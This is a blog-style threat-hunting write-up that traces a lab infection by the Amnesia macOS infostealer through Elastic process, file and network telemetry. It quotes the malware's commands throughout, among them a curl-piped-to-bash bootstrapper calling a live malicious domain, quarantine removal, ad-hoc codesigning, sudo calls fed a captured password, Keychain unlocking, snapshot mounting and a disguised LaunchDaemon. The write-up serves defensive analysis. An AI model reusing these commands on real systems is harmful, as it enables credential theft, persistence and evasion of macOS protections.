[{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/tags/elastic/","section":"Tags","summary":"","title":"Elastic","type":"tags"},{"content":"I came across Amnesia Stealer while looking for a macOS infostealer that I could investigate from a threat hunting perspective.\nThe activity was originally documented by Jamf Threat Labs. Their research covers the malware and campaign in much greater depth. I was interested in a slightly different question:\nWhat does this activity actually look like when I am sitting in Elastic and following macOS endpoint telemetry?\nI also wanted to look at something other than Atomic Stealer/AMOS, which already has a large number of write-ups around it.\nThis was not a reverse-engineering exercise. I ran the activity in a macOS lab and worked primarily from process, file and network telemetry. Most of the investigation came down to following process.pid, process.parent.pid, process ancestry, command lines and whatever artifact gave me the next useful pivot.\nThat also means this post is not organized into perfectly separated malware lifecycle or ATT\u0026amp;CK phases. That is not how I investigated it. Some pivots worked, some returned nothing, and a few only made sense after I found additional artifacts later. This is going to be a really lengthy blog but I hope it would be informative for anyone who is interested in macOS threat hunting or Mac malware.\nWhat caught my attention # I began by visiting the GitHub-themed lure page, which looked like a fairly typical macOS ClickFix page: it presented what appeared to be a legitimate download and instructed the user to copy and execute a command in Terminal.\nThe command itself was simply Base64-encoded.\nDecoding it revealed what was actually being executed:\ncurl -s \u0026#34;https://debug.allllowef.space/d/command?t=2dHf3c01135\u0026amp;b=se\u0026#34; | nohup bash \u0026amp; The command entered on the host was only a bootstrapper. It contacted remote infrastructure, retrieved additional shell commands and piped the response directly into bash.\nThis also meant I could not assume that every interesting command used later in the infection would be visible inside the original command line. The C2 response could introduce completely new commands after execution had already started.\nBeginning the hunt # One of the first broad process searches I used was simply looking for curl activity:\nevent.category : \u0026#34;process\u0026#34; and process.command_line : *curl* That returned multiple curl invocations within seconds of each other.\nOne of them contacted the command endpoint. Another downloaded a ZIP archive:\ncurl -sL \u0026#34;https://debug.allllowef.space/otherassets/macos-hybrid-stealer.zip?...\u0026#34; -o /tmp/._77002.zip The remote object being called macos-hybrid-stealer.zip was not exactly subtle.\nLocally, however, it was written as:\n/tmp/._77002.zip That gave me my first useful combination of clues:\nsuspicious remote infrastructure; an explicitly named stealer archive; staging under /tmp; and a much less descriptive local filename. None of those things by itself is enough to call something malicious, but together they were more than enough to keep following the process tree.\nFollowing the trail # Checking whether the network activity matched the process telemetry # Before moving too far into PID hunting, I wanted to see whether Elastic had captured the network activity generated by those curl processes.\nI filtered on network events associated with curl:\nprocess.name : \u0026#34;curl\u0026#34; and event.category : \u0026#34;network\u0026#34; The telemetry showed connections to:\ndebug.allllowef.space 138.124.70.84:443 That matched the domain from the process command line. A reputation check also showed the domain being classified as malicious by multiple vendors, which helped corroborate what I was already seeing in the endpoint data.\nThe byte counts were also useful. The initial command retrieval showed only a few kilobytes coming back from the remote side, which is consistent with a small shell script or command set. The later curl that downloaded the ZIP showed roughly:\nsource.bytes ~580 destination.bytes ~2,892,767 The corresponding file event for the ZIP showed a size of approximately:\n2,883,736 bytes I would not treat those values as a byte-for-byte proof that the network event represents that exact file, since network counters can include protocol overhead. But the timing, process, destination and very similar size all lined up with the ZIP download.\nOne limitation here was that I did not have Zeek or equivalent deeper network telemetry in the lab. I could confirm the process, destination, connection and approximate transfer volume, but I could not inspect the decrypted HTTP exchange in the same way I could with richer network visibility.\nThe obvious PID pivot went nowhere # At this point I had two interesting curl PIDs, including the command retrieval and payload download.\nThe natural next move was to look for anything they spawned:\nprocess.parent.pid : 14485 or process.parent.pid : 14488 That returned nothing useful.\nInitially that looked like a dead end, but it was also a good reminder that shell pipelines do not always produce the process relationships you might expect from reading the command left-to-right.\nWith something like:\ncurl ... | nohup bash \u0026amp; the shell can orchestrate both sides of the pipeline. curl does not necessarily become the parent of the next interesting process.\nSo instead of forcing that PID pivot further, I went back to the other clue I already had: the downloaded file.\nFollowing ._77002.zip # I searched for file events containing the ZIP name:\nfile.path : *77002.zip* Elastic showed the file at:\n/private/tmp/._77002.zip The difference between /tmp in the command line and /private/tmp in the file telemetry is expected on macOS. /tmp resolves to /private/tmp. The file had also already been deleted using rm.\nMore importantly, both the download process and subsequent cleanup activity pointed back to the same parent PID:\n14486 That was a much better pivot than following curl itself. I switched back to process telemetry:\nprocess.parent.pid : 14486 and event.category : \u0026#34;process\u0026#34; This was where the investigation really opened up.\nReconstructing the bootstrap from PPID 14486 # Filtering the events by the common parent gave a very clear sequence over only a few seconds:\n06:49:35 curl 06:49:44 unzip 06:49:45 mv 06:49:45 rm 06:49:45 xattr 06:49:45 chmod 06:49:45 codesign 06:49:45 nohup 06:49:45 .com.apple.dt.77002 06:49:45 sleep 06:49:45 rm Download # curl -sL \u0026#34;https://debug.allllowef.space/otherassets/macos-hybrid-stealer.zip?...\u0026#34; -o /tmp/._77002.zip The payload archive was downloaded into /tmp.\nExtract # unzip -P dulin -o /tmp/._77002.zip -d /tmp The archive was password protected.\nHere:\n-P dulin supplies the ZIP password; -o overwrites files without prompting; -d /tmp extracts the archive into /tmp. The extracted file was:\n/tmp/macos-hybrid-stealer Rename # mv /tmp/macos-hybrid-stealer /tmp/.com.apple.dt.77002 The very obvious macos-hybrid-stealer filename was immediately changed to:\n.com.apple.dt.77002 The leading dot makes the filename hidden from normal Unix directory listings, while com.apple gives it an Apple-looking name.\nRemove the archive # rm -f /tmp/._77002.zip The staging ZIP was removed as soon as it was no longer required.\nBecause the malware used rm, this does not behave like deleting a file in Finder. It would not normally be moved into the user\u0026rsquo;s Trash.\nClear extended attributes # xattr -cr /tmp/.com.apple.dt.77002 xattr manages extended attributes on macOS.\nIn this case:\n-c clears extended attributes; -r applies the operation recursively. At this point in the hunt, the safest conclusion was simply that the malware was clearing metadata attached to the staged payload. One security-relevant attribute that could be affected is com.apple.quarantine.\nLater telemetry made the intent even clearer when I found an explicit quarantine removal command:\nxattr -d com.apple.quarantine /tmp/.com.apple.dt.77002 So the payload was not just generically manipulating extended attributes. It specifically attempted to remove macOS quarantine metadata.\nAdd execution permission # chmod +x /tmp/.com.apple.dt.77002 This adds the executable bit to the extracted payload.\nAd-hoc sign the payload # codesign --force --deep --sign - /tmp/.com.apple.dt.77002 This stood out. codesign is a legitimate Apple utility. Here, --sign - applies an ad-hoc signature. An ad-hoc signature does not establish a trusted developer identity, but it does give the Mach-O a structurally valid code signature.\nExecute it # nohup /tmp/.com.apple.dt.77002 The newly prepared payload was then launched through nohup, allowing it to continue independently of the initiating terminal session.\nElastic showed the executable as:\n/private/tmp/.com.apple.dt.77002 Clean up again # sleep 2 rm -f /tmp/.com.apple.dt.77002 Two seconds later, the staged executable was deleted from disk. That does not necessarily stop the already running process. On Unix-like systems, a process can continue executing after its backing file has been unlinked.\nTaken individually, almost every utility in this chain is legitimate:\nUtility What it was doing here curl Downloading the payload unzip Extracting the password-protected ZIP mv Renaming the payload rm Removing staging artifacts xattr Clearing extended attributes chmod Adding execution permission codesign Applying an ad-hoc signature nohup Launching the payload independently Following the stealer itself # The staged payload was now running as:\n/tmp/.com.apple.dt.77002 PID 14499 Rather than continuing to follow the earlier bootstrap shell, I shifted the hunt toward processes spawned by the stealer itself.\nOne useful query was:\nprocess.parent.command_line : *com.apple.dt* This surfaced a much larger set of post-execution activity.\nChecking for another running instance # One of the first commands was:\nsh -c \u0026#34;pgrep -f \u0026#39;/tmp/.com.apple.dt.77002\u0026#39; | grep -v 14499 | head -1\u0026#34; That shell pipeline breaks down into:\npgrep -f \u0026#39;/tmp/.com.apple.dt.77002\u0026#39; ↓ find matching running processes grep -v 14499 ↓ exclude the current PID head -1 ↓ return only the first remaining match I cannot say with certainty whether this was duplicate-instance prevention or internal process coordination, but it clearly shows the malware looking for another process matching its own path while excluding itself.\nIdentifying the user and validating the password # Following the same parent process revealed a short sequence of commands related to the current user and their credentials.\nThe first was straightforward:\nwhoami This identifies the currently logged-in user. A few seconds later, the same parent process executed:\ndscl /Local/Default -authonly jason \u0026lt;captured_password\u0026gt; dscl is a normal macOS Directory Service utility. With -authonly, it validates whether the supplied username and password are correct.\nThis matched what I saw during execution in the lab.\nWhen I supplied an incorrect password, the workflow did not continue normally and I was prompted again. Once the correct VM password was supplied, execution continued.\nThe malware then ran:\nsudo -S -v -S tells sudo to read the password from standard input, while -v validates or refreshes the user\u0026rsquo;s cached sudo credentials without running another command.\nSo the sequence was not simply:\ncapture something that looks like a password It was closer to:\nidentify user ↓ capture password ↓ validate it with dscl ↓ validate sudo access Later artifact analysis confirmed that the entered password was also stored locally in plaintext under:\n~/.pwd Why my osascript hunt returned nothing # At this point I expected to find osascript.\nFake password prompts are common enough in macOS malware that looking for AppleScript activity seemed like a reasonable hypothesis. In past AMOS stealer infections, they would have a fake dialog box to prompt the user to enter the credentials. I tried hunting with :\nprocess.command_line : *osascript* and process.command_line : *display* No results seen. That initially looked like another telemetry gap, but Jamf\u0026rsquo;s analysis explained why. Amnesia does not need to spawn osascript for this prompt. Jamf documented a native AppKit NSAlert being used instead.\nThat means the fake password dialog can be created inside the malware process itself, leaving no separate osascript child process for me to find in Elastic.\nThat was one of the more useful negative findings from the hunt:\nNo osascript process does not mean no deceptive password prompt occurred.\nFollowing the Keychain access # If there were dscl and keychain events, there bound to be file events related to the Keychain database too. File telemetry from the same execution chain showed repeated access to:\n/Users/jason/Library/Keychains/login.keychain-db A broad file search was enough to surface it:\nprocess.parent.pid : 14486 and event.category : \u0026#34;file\u0026#34; and event.type : \u0026#34;access\u0026#34; The process accessing it was:\n/private/tmp/.com.apple.dt.77002 At first, all I could safely say was that the malware was opening the user\u0026rsquo;s login Keychain database. Later process telemetry gave much stronger evidence :\nprocess.command_line : *keychain* and process.executable : *security* security unlock-keychain -p \u0026lt;captured_password\u0026gt; /Users/jason/Library/Keychains/login.keychain-db The security command is Apple\u0026rsquo;s Keychain command-line utility. Here the stealer explicitly attempted to unlock the user\u0026rsquo;s login Keychain using the password it had already captured and validated :\npassword prompt ↓ password captured ↓ dscl validation ↓ sudo validation ↓ security unlock-keychain ↓ Keychain collection Pivoting from the process tree into file activity # After spending most of the investigation following process relationships, I switched back to file telemetry. With that much process activity, I expected corresponding file telemetry as well. The same process tree that gave me the bootstrap activity also generated a large number of file events, so I started with the parent PID I had already been following:\nprocess.parent.pid : 14486 and event.category : \u0026#34;file\u0026#34; and event.type : \u0026#34;change\u0026#34; This returned far more events than were practical to inspect one by one. Some of them were the repeated login.keychain-db accesses discussed earlier, but I wanted to understand what else the execution chain had touched.\nInstead of scrolling through every event, I opened Elastic\u0026rsquo;s Field statistics view for file.path. That gave me a much better overview of the filesystem activity. The results immediately exposed several unusual paths under the user\u0026rsquo;s home directory, a collection of browser-related artifacts under .local/share/.stream/, and a randomly named staging directory under /private/tmp.\nA temporary collection directory under /private/tmp # Further down the file.path statistics was this randomly named directory:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/ The filenames inside it were much more descriptive than the directory itself:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/login.keychain-db /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/safari_passwords.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/collection_report.txt /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/installed_apps.txt /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/installed_software.txt /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/pwd /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/safari_diagnostic.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/system_info.json At this point it looked much less like a collection of unrelated file events and much more like a dedicated staging directory. A few of the artifacts stood out immediately:\nArtifact What it suggested Passwords/login.keychain-db A staged copy of the user\u0026rsquo;s login Keychain database Passwords/safari_passwords.json Safari credential collection output pwd Captured password copied into the staging area installed_apps.txt Installed application enumeration installed_software.txt Additional software discovery system_info.json Host and hardware information safari_diagnostic.json Safari collection diagnostics collection_report.txt State or summary related to the collection process The strongest correlation was the Keychain database.\nEarlier in the hunt I had seen the payload repeatedly accessing:\n/Users/jason/Library/Keychains/login.keychain-db Now the same database appeared inside:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/login.keychain-db That connected the earlier Keychain activity directly to the collection workflow:\noriginal login.keychain-db ↓ accessed by .com.apple.dt.77002 ↓ copied into the temporary collection directory FileGrabber activity # If you have worked with AMOS malware, hunting for command lines containing the string FileGrabber is one of the quick wins to identifying Mac malware. The FileGrabber subdirectory contained a number of collected JSON files:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/hast-to-react.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/index.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/os.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/package-support.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/package.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/release-please-config.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/renovate.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/spinners.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/tsconfig.json /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/FileGrabber/tsfmt.json The important point here is that these files were not generic malware working files sitting directly under /private/tmp. They had been copied into a dedicated FileGrabber directory inside the malware\u0026rsquo;s staging area. That made the collection layout much easier to understand:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/ │ ├── FileGrabber/ │ ├── package.json │ ├── index.json │ ├── os.json │ ├── renovate.json │ ├── tsconfig.json │ └── ... │ ├── Passwords/ │ ├── login.keychain-db │ └── safari_passwords.json │ ├── installed_apps.txt ├── installed_software.txt ├── system_info.json ├── safari_diagnostic.json ├── collection_report.txt └── pwd Password and credential staging # Immediately after the FileGrabber paths in the same file.path statistics were:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/login.keychain-db /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/safari_passwords.json These correlated directly with activity I had already followed earlier in the investigation. The payload had repeatedly accessed:\n/Users/jason/Library/Keychains/login.keychain-db and later attempted to unlock it using:\nsecurity unlock-keychain -p \u0026lt;captured_password\u0026gt; /Users/jason/Library/Keychains/login.keychain-db Now a copy appeared inside the malware\u0026rsquo;s staging directory:\n/private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/Passwords/login.keychain-db That gave me a much clearer relationship:\noriginal login.keychain-db ↓ accessed by .com.apple.dt.77002 ↓ unlocked using captured password ↓ copied into Passwords/ ↓ included in the staging directory The presence of:\nPasswords/safari_passwords.json also showed that Safari credential collection was part of the same staging workflow, although the existence of the file alone does not prove that valid Safari passwords were successfully recovered.\nOther collected artifacts # The same staging directory also contained:\ncollection_report.txt installed_apps.txt installed_software.txt pwd safari_diagnostic.json system_info.json These matched several behaviors I had already observed through process telemetry.\nFor example:\nArtifact Earlier telemetry it correlated with installed_apps.txt ls -1 /Applications installed_software.txt software enumeration system_info.json system_profiler, sw_vers, ioreg pwd captured and validated user password safari_diagnostic.json Safari collection activity Passwords/login.keychain-db Keychain access and unlock FileGrabber/* filesystem collection activity The process tree showed me how information was being collected. The file.path statistics showed me where the results were being staged.\nThe overall flow now looked like:\nsystem / credential / file collection ↓ /private/tmp/dUvV2FVcZkOrcH8Os4nOdw2fL/ ↓ ┌────────┴────────┐ │ │ FileGrabber/ Passwords/ │ │ user files Keychain / Safari │ │ └────────┬────────┘ ↓ additional host data ↓ staged collection ↓ ZIP creation Later in the process tree, this same randomly named directory was passed to ditto, which packaged the collected data into a ZIP archive.\nHidden state left in the user\u0026rsquo;s home directory # The file.path statistics also exposed several hidden files directly under the user\u0026rsquo;s home directory:\n/Users/jason/.botid /Users/jason/.chost /Users/jason/.pwd as well as another interesting directory:\n/Users/jason/.local/share/.stream/ At this point the telemetry had given me another useful pivot. Instead of only looking at what the malware had touched historically, some of these files were still present on the VM and could be inspected directly.\nI checked the user\u0026rsquo;s home directory with:\nls -la ~ The files identified in Elastic were still there:\n~/.botid ~/.chost ~/.pwd I then inspected each one.\nArtifact Observed content What it suggested .botid 1 Bot or victim identifier .chost https://debug.allllowef.space/api/bot/actions C2 / tasking endpoint .pwd Captured VM password User credential stored locally in plaintext .botid contained:\n1 which appears to act as a bot or victim identifier.\n.chost contained:\nhttps://debug.allllowef.space/api/bot/actions This was a useful correlation because the artifact pointed back to the same infrastructure I had already seen through the earlier curl command lines and Elastic network telemetry. The final file, .pwd, was more significant. Its contents matched the password I had entered into the fake authentication prompt during execution.\nI have deliberately left the actual value out of the post, but this confirmed that the credential entered by the user was being stored locally in plaintext. That tied several earlier observations together:\npassword entered ↓ stored in ~/.pwd ↓ validated with dscl ↓ used with sudo ↓ used to unlock login.keychain-db The password prompt was therefore not simply a visual lure. The value was retained and actively reused later in the execution.\nFollowing the .stream artifacts # The other cluster exposed by the file.path statistics was:\n~/.local/share/.stream/ Inspecting that directory directly showed several browser-specific files:\n.arc_key .bot_id .brave_key .chrome_key .chromium_key .coccoc_key .edge_key .opera_key .vivaldi_key .yandex_key Most of the browser key files were very small. Several were only six bytes long and contained the same short value. That raised another question.\nHad Amnesia actually recovered usable browser encryption material, or were these intermediate or fallback artifacts created by the collection routine? The surviving diagnostic files helped provide some context.\nBrowser targeting was broader than what actually existed in the VM # One of the useful artifacts was:\nbrowser_diag.txt It contained a list of browser profile locations Amnesia checked.\nThe visible entries included browsers such as:\nChrome Firefox Waterfox Brave Edge Vivaldi Yandex Opera OperaGX Arc CocCoc Chrome Beta Chrome Canary Chrome Dev Chromium Thorium Sidekick Wavebox However, in my VM many of those checks returned:\nexists=false That distinction matters. The diagnostic file shows that Amnesia contains collection logic targeting those browser locations.\nIt does not mean credentials were successfully collected from every browser listed there. Most of those browser profiles simply did not exist in my VM.\nAnother artifact, controller_diag.txt, provided more context around the browser-related files:\nsafe_storage_keys_count=9 chrome_key_source=keychain It then listed browser-key entries for:\nChromium Edge Chrome Yandex CocCoc Arc Opera Brave Vivaldi This lined up almost exactly with the hidden *_key files I had found under .stream. The remaining question was what those very small files actually represented.\nmasterkey_diag.txt provided another clue:\nkeychain_path=/Users/jason/Library/Keychains/login.keychain-db macos_ver=26 phase4: file_parse (fallback) FILE Chrome=6 bytes FILE Chromium=6 bytes FILE Brave=6 bytes FILE Opera=6 bytes FILE Vivaldi=6 bytes FILE Edge=6 bytes FILE Yandex=6 bytes FILE Arc=6 bytes FILE CocCoc=6 bytes result=9 keys This was useful for two reasons.\nFirst, the diagnostic file explicitly referenced:\n/Users/jason/Library/Keychains/login.keychain-db which was the same database I had already watched the payload access repeatedly in Elastic.\nThat independently corroborated the earlier Keychain telemetry.\nSecond, the diagnostic output described this stage as:\nfile_parse (fallback) and each resulting browser file was only six bytes long.\nBecause the corresponding browser profiles were largely absent from this VM, and because several of the resulting files contained the same very short value, I would not describe them as confirmed recovered browser master keys.\nThe safer conclusion from my dataset is that Amnesia attempted its browser Safe Storage / Keychain collection routine, fell back to a file-parsing path and produced these browser-specific artifacts as part of that workflow.\nWhether those six-byte values would have been useful against an actually populated browser profile would require going deeper into the malware\u0026rsquo;s implementation, which was outside the scope of this hunt.\nFrom the hunting perspective, the useful part was how I arrived here:\nprocess tree ↓ file events from the same process relationship ↓ Field statistics on file.path ↓ random /private/tmp staging directory ↓ FileGrabber and collected artifacts ↓ hidden home-directory state ↓ ~/.local/share/.stream/ ↓ browser diagnostic files ↓ correlation back to login.keychain-db Moving away from the process view for a moment exposed an entirely different side of the stealer\u0026rsquo;s activity, while still keeping the investigation tied back to the same process ancestry that led me there in the first place.\nSystem and hardware fingerprinting # Continuing down the same parent process tree showed a fairly standard set of victim-enumeration commands. A simple hunt for command line invocations of these common hardware/software enumerations would do the trick.\nprocess.command_line : *ioreg* or process.command_line : *system_profiler* or process.command_line : *sw_vers* Below were the command lines observed that originated from the same parent command line which was /tmp/.com.apple.dt.77002\nsh -c ioreg -rd1 -c IOPlatformExpertDevice 2\u0026gt;/dev/null | awk \u0026#39;/IOPlatformUUID/ { gsub(/\u0026#34;/, \u0026#34;\u0026#34;, $3); print $3 }\u0026#39; ioreg -rd1 -c IOPlatformExpertDevice sh -c ioreg -rd1 -c IOPlatformExpertDevice 2\u0026gt;/dev/null | awk \u0026#39;/IOPlatformSerialNumber/ { gsub(/\u0026#34;/, \u0026#34;\u0026#34;, $4); print $4 }\u0026#39; sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2\u0026gt;/dev/null system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType awk /IOPlatformUUID/ { gsub(/\u0026#34;/, \u0026#34;\u0026#34;, $3); print $3 } sh -c sw_vers -productVersion This was not especially surprising for an infostealer. Together, commands like sw_vers, system_profiler, ioreg, whoami and application enumeration provide enough information to build a useful victim fingerprint.\nApple Notes became another collection target # Other than browser history and cookies, Apple Notes are also a common path targeted by infostealers. The process tree also showed repeated attempts to read Apple Notes data.\nThe relevant database was:\n/Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite A direct read looked like:\ncat \u0026#34;/Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\u0026#34; sh -c cat \u0026#39;/Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\u0026#39; 2\u0026gt;/dev/null The more interesting variant reused the captured password:\nsh -c echo \u0026#39;140298\u0026#39; | sudo -S cat \u0026#39;/Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite\u0026#39; \u0026gt; \u0026#39;/tmp/_notes_tmp_NoteStore.sqlite\u0026#39; At this point the password theft was clearly being operationalized. It had already been validated against the local account and used for Keychain operations. Now it was also being supplied to sudo to access data that direct collection could not obtain.\nThe file telemetry gave me another useful piece of the Notes collection workflow. I wanted to see for any file activities related to the Notes activity. Perhaps, there will be action type of access or open.\nSearching for Notes-related file activity:\nfile.path : *NoteStore.sqlite* and event.category : \u0026#34;file\u0026#34; showed the Amnesia process deleting three temporary artifacts under /private/tmp:\n/private/tmp/_notes_tmp_NoteStore.sqlite /private/tmp/_notes_tmp_NoteStore.sqlite-shm /private/tmp/_notes_tmp_NoteStore.sqlite-wal All three events were associated with:\n/private/tmp/.com.apple.dt.77002 PID 14499 This is an important distinction: the malware was not deleting the user\u0026rsquo;s original Apple Notes database from:\n~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite Instead, these were temporary Notes-related copies under /private/tmp.\nThe three filenames also correspond to the normal set of files associated with an SQLite database:\nFile Purpose NoteStore.sqlite Main SQLite database NoteStore.sqlite-shm Shared-memory file used by SQLite WAL mode NoteStore.sqlite-wal Write-ahead log containing recent database changes Earlier process telemetry had already shown Amnesia attempting to read the original Notes database, including attempts using the captured password with sudo.\nThe deletion events suggest that temporary copies of the Notes database and its companion files were created as part of that collection workflow and then removed once they were no longer needed.\nFrom the telemetry I can confirm the cleanup of those temporary copies. I would not claim exactly how they were created unless the corresponding creation or copy events are also present.\nThis gave the Notes activity a clearer sequence:\noriginal Apple Notes database ↓ direct read attempt ↓ privileged read using captured password ↓ temporary Notes artifacts under /private/tmp ↓ collection processing ↓ temporary SQLite / WAL / SHM files deleted A strange tmutil and mount_apfs pivot # While continuing to review the child processes spawned by .com.apple.dt.77002, I noticed activity involving tmutil. That stood out because tmutil is normally associated with Time Machine administration rather than the usual browser and Keychain collection commands I had been seeing. I broadened the search to look for both tmutil and mount_apfs activity:\nprocess.command_line : *tmutil* or process.command_line : *mount_apfs* The first interesting command was:\ntmutil localsnapshot tmutil localsnapshot asks macOS to create a local Time Machine snapshot of the APFS volume.\nA few seconds later, the malware used the password captured earlier in the execution and passed it to sudo:\nsh -c echo \u0026#39;140298\u0026#39; | sudo -S mount_apfs -o nobrowse -s \u0026#39;com.apple.TimeMachine.2026-08-17-065038.local\u0026#39; /System/Volumes/Data \u0026#39;/tmp/.snap_read\u0026#39; There are several interesting parts to this command.\nmount_apfs is the macOS utility used to mount APFS filesystems and snapshots. The -s argument specifies the snapshot that should be mounted:\ncom.apple.TimeMachine.2026-08-17-065038.local The source volume was:\n/System/Volumes/Data and the snapshot was mounted under:\n/tmp/.snap_read The malware also used:\n-o nobrowse which tells macOS not to expose the mounted volume as a normally browsable volume in Finder.\nSo the sequence I was seeing was effectively:\ntmutil localsnapshot ↓ create point-in-time APFS snapshot ↓ captured password passed to sudo ↓ mount_apfs -s \u0026lt;snapshot\u0026gt; ↓ snapshot mounted at /tmp/.snap_read This was interesting because the malware had created an alternate, point-in-time view of the Data volume rather than relying only on files from the live filesystem.\nAn APFS snapshot preserves the state of the filesystem at the time the snapshot was created. From a collection perspective, that can give a process another copy of files to work with while the live versions may be changing, locked or otherwise difficult to collect directly.\nI later found a second, very similar sequence involving another Time Machine snapshot:\nsh -c echo \u0026#39;140298\u0026#39; | sudo -S mount_apfs -o nobrowse -s \u0026#39;com.apple.TimeMachine.2026-08-17-065112.local\u0026#39; /System/Volumes/Data \u0026#39;/tmp/.snap_tcc\u0026#39; The destination name was particularly noticeable:\n/tmp/.snap_tcc The name strongly suggests that this snapshot was intended for some form of privacy/TCC-related collection.\nWhat I can directly confirm from the Elastic telemetry is that the malware:\ncreated local Time Machine snapshots; reused the captured user password with sudo; mounted those snapshots through mount_apfs; mounted them beneath hidden-looking paths under /tmp; and later removed the snapshots. Jamf\u0026rsquo;s analysis provides additional context around Amnesia containing snapshot-based privacy-access logic, but from my endpoint telemetry I am limiting the conclusion to what I actually observed.\nThe cleanup was also visible:\ntmutil deletelocalsnapshots 2026-08-17-065038 and a similar deletion occurred for the later snapshot.\nThat gives the activity a fairly clear lifecycle:\ncreate local snapshot ↓ mount snapshot under /tmp ↓ use snapshot-backed filesystem view ↓ continue collection ↓ delete local snapshot From a hunting perspective, this is one of the more interesting behaviors in the dataset.\nCommands such as system_profiler, ioreg, security and curl are common enough that they need quite a lot of context before they become suspicious.\nA process under /tmp spawning tmutil, followed almost immediately by a privileged mount_apfs -s into another hidden /tmp path, is much less routine.\nThat makes the combination of:\ntmutil localsnapshot + mount_apfs -s + -o nobrowse + /tmp/.snap_* a useful behavior to consider when hunting similar macOS stealers.\nPackaging the collected data # Eventually the process tree showed what happened to that random staging directory.\nFirst, ownership was adjusted:\nsudo -S chown -R jason /tmp/dUvV2FVcZkOrcH8Os4nOdw2fL Then the entire directory was archived:\nditto -c -k --sequesterRsrc /tmp/dUvV2FVcZkOrcH8Os4nOdw2fL /tmp/dUvV2FVcZkOrcH8Os4nOdw2fL.zip ditto is a normal macOS utility.\nHere:\n-c creates an archive; -k uses ZIP format; --sequesterRsrc preserves resource-fork and related metadata. At this point the collection path was fairly clear:\nKeychain / browser / Notes / system data ↓ random directory under /tmp ↓ ownership adjusted ↓ ditto ↓ random ZIP under /tmp Hunting for persistence # Another useful branch of the hunt came from looking broadly at common macOS persistence locations. I searched file activity involving LaunchDaemons and LaunchAgents rather than starting from the exact malicious filename:\nevent.category : \u0026#34;file\u0026#34; and ( file.path : \u0026#34;/Library/LaunchDaemons/*\u0026#34; or file.path : \u0026#34;/Library/LaunchAgents/*\u0026#34; or file.path : \u0026#34;/Users/*/Library/LaunchAgents/*\u0026#34; ) LaunchAgents and LaunchDaemons are launchd jobs. They are not a perfect one-to-one equivalent of Windows Scheduled Tasks; they are closer to macOS startup/autostart and service-style persistence.\nA file immediately stood out:\n/Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist The writer was /bin/cp. The filename tried to resemble an Apple ReportCrash component, but the random numeric suffix and the surrounding activity made it worth inspecting.\nA surviving artifact under:\n/tmp/starter contained the corresponding plist configuration:\n\u0026lt;key\u0026gt;KeepAlive\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.apple.ReportCrash.agent_68910896\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/tmp/.com.apple.dt.77002\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;UserName\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;jason\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; Several things were immediately interesting:\nRunAtLoad was enabled; KeepAlive was enabled; the label looked Apple-related; but the actual executable was the hidden payload under /tmp. The process telemetry then showed the installation sequence:\nsudo -S cp /tmp/starter /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist The resulting /bin/cp process generated an Elastic event classified as:\nevent.action: launch_daemon The process ancestry around the write included:\n.com.apple.dt.77002 ↓ sudo ↓ sudo ↓ cp with the cp process observed around PID 14745. The malware did not simply drop the plist and wait for a reboot.\nIt immediately registered it:\nsudo -S launchctl bootstrap system /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist launchctl bootstrap system loads the job into the system launchd domain.\nSo what I could confirm was:\n/tmp/starter ↓ sudo cp ↓ /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist ↓ launchctl bootstrap system ↓ LaunchDaemon registered I did not rely on the existence of the plist alone; the process telemetry showed the stealer actively installing and loading it.\nCleanup was happening all the way through # Cleanup was not one single event at the end. Cleanup was not a single event at the end; Amnesia removed artifacts throughout execution.\nI observed:\nrm -f /tmp/._77002.zip after extraction.\nThen:\nrm -f /tmp/.com.apple.dt.77002 shortly after launching the payload. There were also short-lived files in the private/tmp such as:\n.write_test package.json which were created, modified, renamed or deleted during the collection workflow. The malware also attempted:\nhistory -c 